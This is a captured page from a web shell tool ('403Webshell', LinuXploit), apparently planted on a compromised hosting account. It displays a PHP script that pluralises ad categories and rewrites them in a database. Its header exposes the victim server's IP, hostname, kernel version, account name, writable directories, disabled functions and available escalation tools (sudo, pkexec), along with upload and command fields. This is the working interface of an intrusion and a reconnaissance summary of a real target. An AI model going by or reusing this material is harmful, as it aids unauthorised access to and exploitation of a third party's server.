403Webshell
Server IP : 51.89.169.208  /  Your IP : 3.142.92.19
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/yellowleaf/public_html/all_scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yellowleaf/public_html//all_scripts/make_singular.php
<?php
  ini_set('max_execution_time', 300);

  $path  = $_SERVER['DOCUMENT_ROOT'];
  
  include_once $path.'/connect_db.php';

  class Inflect
  {
      static $plural = array(
          '/(quiz)$/i'               => "$1zes",
          '/^(ox)$/i'                => "$1en",
          '/([m|l])ouse$/i'          => "$1ice",
          '/(matr|vert|ind)ix|ex$/i' => "$1ices",
          '/(x|ch|ss|sh)$/i'         => "$1es",
          '/([^aeiouy]|qu)y$/i'      => "$1ies",
          '/(hive)$/i'               => "$1s",
          '/(?:([^f])fe|([lr])f)$/i' => "$1$2ves",
          '/(shea|lea|loa|thie)f$/i' => "$1ves",
          '/sis$/i'                  => "ses",
          '/([ti])um$/i'             => "$1a",
          '/(tomat|potat|ech|her|vet)o$/i'=> "$1oes",
          '/(bu)s$/i'                => "$1ses",
          '/(alias)$/i'              => "$1es",
          '/(octop)us$/i'            => "$1i",
          '/(ax|test)is$/i'          => "$1es",
          '/(us)$/i'                 => "$1es",
          '/s$/i'                    => "s",
          '/$/'                      => "s"
      );
      
      static $singular = array(
          '/(quiz)zes$/i'             => "$1",
          '/(matr)ices$/i'            => "$1ix",
          '/(vert|ind)ices$/i'        => "$1ex",
          '/^(ox)en$/i'               => "$1",
          '/(alias)es$/i'             => "$1",
          '/(octop|vir)i$/i'          => "$1us",
          '/(cris|ax|test)es$/i'      => "$1is",
          '/(shoe)s$/i'               => "$1",
          '/(o)es$/i'                 => "$1",
          '/(bus)es$/i'               => "$1",
          '/([m|l])ice$/i'            => "$1ouse",
          '/(x|ch|ss|sh)es$/i'        => "$1",
          '/(m)ovies$/i'              => "$1ovie",
          '/(s)eries$/i'              => "$1eries",
          '/([^aeiouy]|qu)ies$/i'     => "$1y",
          '/([lr])ves$/i'             => "$1f",
          '/(tive)s$/i'               => "$1",
          '/(hive)s$/i'               => "$1",
          '/(li|wi|kni)ves$/i'        => "$1fe",
          '/(shea|loa|lea|thie)ves$/i'=> "$1f",
          '/(^analy)ses$/i'           => "$1sis",
          '/((a)naly|(b)a|(d)iagno|(p)arenthe|(p)rogno|(s)ynop|(t)he)ses$/i'  => "$1$2sis",        
          '/([ti])a$/i'               => "$1um",
          '/(n)ews$/i'                => "$1ews",
          '/(h|bl)ouses$/i'           => "$1ouse",
          '/(corpse)s$/i'             => "$1",
          '/(us)es$/i'                => "$1",
          '/s$/i'                     => ""
      );
      
      static $irregular = array(
          'move'   => 'moves',
          'foot'   => 'feet',
          'goose'  => 'geese',
          'sex'    => 'sexes',
          'child'  => 'children',
          'man'    => 'men',
          'tooth'  => 'teeth',
          'person' => 'people',
          'valve'  => 'valves'
      );
      
      static $uncountable = array( 
          'sheep', 
          'fish',
          'deer',
          'series',
          'species',
          'money',
          'rice',
          'information',
          'equipment'
      );
      
      public static function pluralize( $string ) 
      {
          // save some time in the case that singular and plural are the same
          if ( in_array( strtolower( $string ), self::$uncountable ) )
              return $string;
              
      
          // check for irregular singular forms
          foreach ( self::$irregular as $pattern => $result )
          {
              $pattern = '/' . $pattern . '$/i';
              
              if ( preg_match( $pattern, $string ) )
                  return preg_replace( $pattern, $result, $string);
          }
          
          // check for matches using regular expressions
          foreach ( self::$plural as $pattern => $result )
          {
              if ( preg_match( $pattern, $string ) )
                  return preg_replace( $pattern, $result, $string );
          }
          
          return $string;
      }
      
      public static function singularize( $string )
      {
          // save some time in the case that singular and plural are the same
          if ( in_array( strtolower( $string ), self::$uncountable ) )
              return $string;
  
          // check for irregular plural forms
          foreach ( self::$irregular as $result => $pattern )
          {
              $pattern = '/' . $pattern . '$/i';
              
              if ( preg_match( $pattern, $string ) )
                  return preg_replace( $pattern, $result, $string);
          }
          
          // check for matches using regular expressions
          foreach ( self::$singular as $pattern => $result )
          {
              if ( preg_match( $pattern, $string ) )
                  return preg_replace( $pattern, $result, $string );
          }
          
          return $string;
      }
      
      public static function pluralize_if($count, $string)
      {
          if ($count == 1)
              return "1 $string";
          else
              return $count . " " . self::pluralize($string);
      }
  }

    
// Execute query
$sql = "SELECT * FROM `ads` where `junk` = 0 order by `adid` LIMIT 300";
// $sql = "SELECT * FROM `ads` LIMIT 10";
$result = $connect->query($sql);

if ($result->num_rows > 0) {
    // Process the results
    while ($row = $result->fetch_assoc()) {

        $adid = $row['adid'];

        $cat1 = $row["cat1"];
        $cat2 = $row["cat2"];
        $cat3 = $row["cat3"];
    
        $cat1 = ($cat1 != '') ? ucwords(Inflect::pluralize($cat1)) : '';
        $cat2 = ($cat2 != '') ? ucwords(Inflect::pluralize($cat2)) : '';
        $cat3 = ($cat3 != '') ? ucwords(Inflect::pluralize($cat3)) : '';
        
        echo "<pre>";
        echo "adid : " . $adid . "<br/>";
        echo "cat1: ".$row["cat1"]." -> ".$cat1."<br>";
        echo "cat2: ".$row["cat2"]." -> ".$cat2."<br>";
        echo "cat3: ".$row["cat3"]." -> ".$cat3."<br>";
        echo "</pre>";

        $cat1 = addslashes(trim($cat1));
        $cat2 = addslashes(trim($cat2));
        $cat3 = addslashes(trim($cat3));
    
        $sql = "UPDATE `ads` SET `cat1`='$cat1',`cat2`='$cat2',`cat3`='$cat3', junk = 1  WHERE adid='$adid'";
        $connect->query($sql) || die("Error: ".$connect->error);
    }
    
    echo '<meta http-equiv="refresh" content="0">';
}else{
    echo "completed";
}

// Close the connection
$connect->close();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit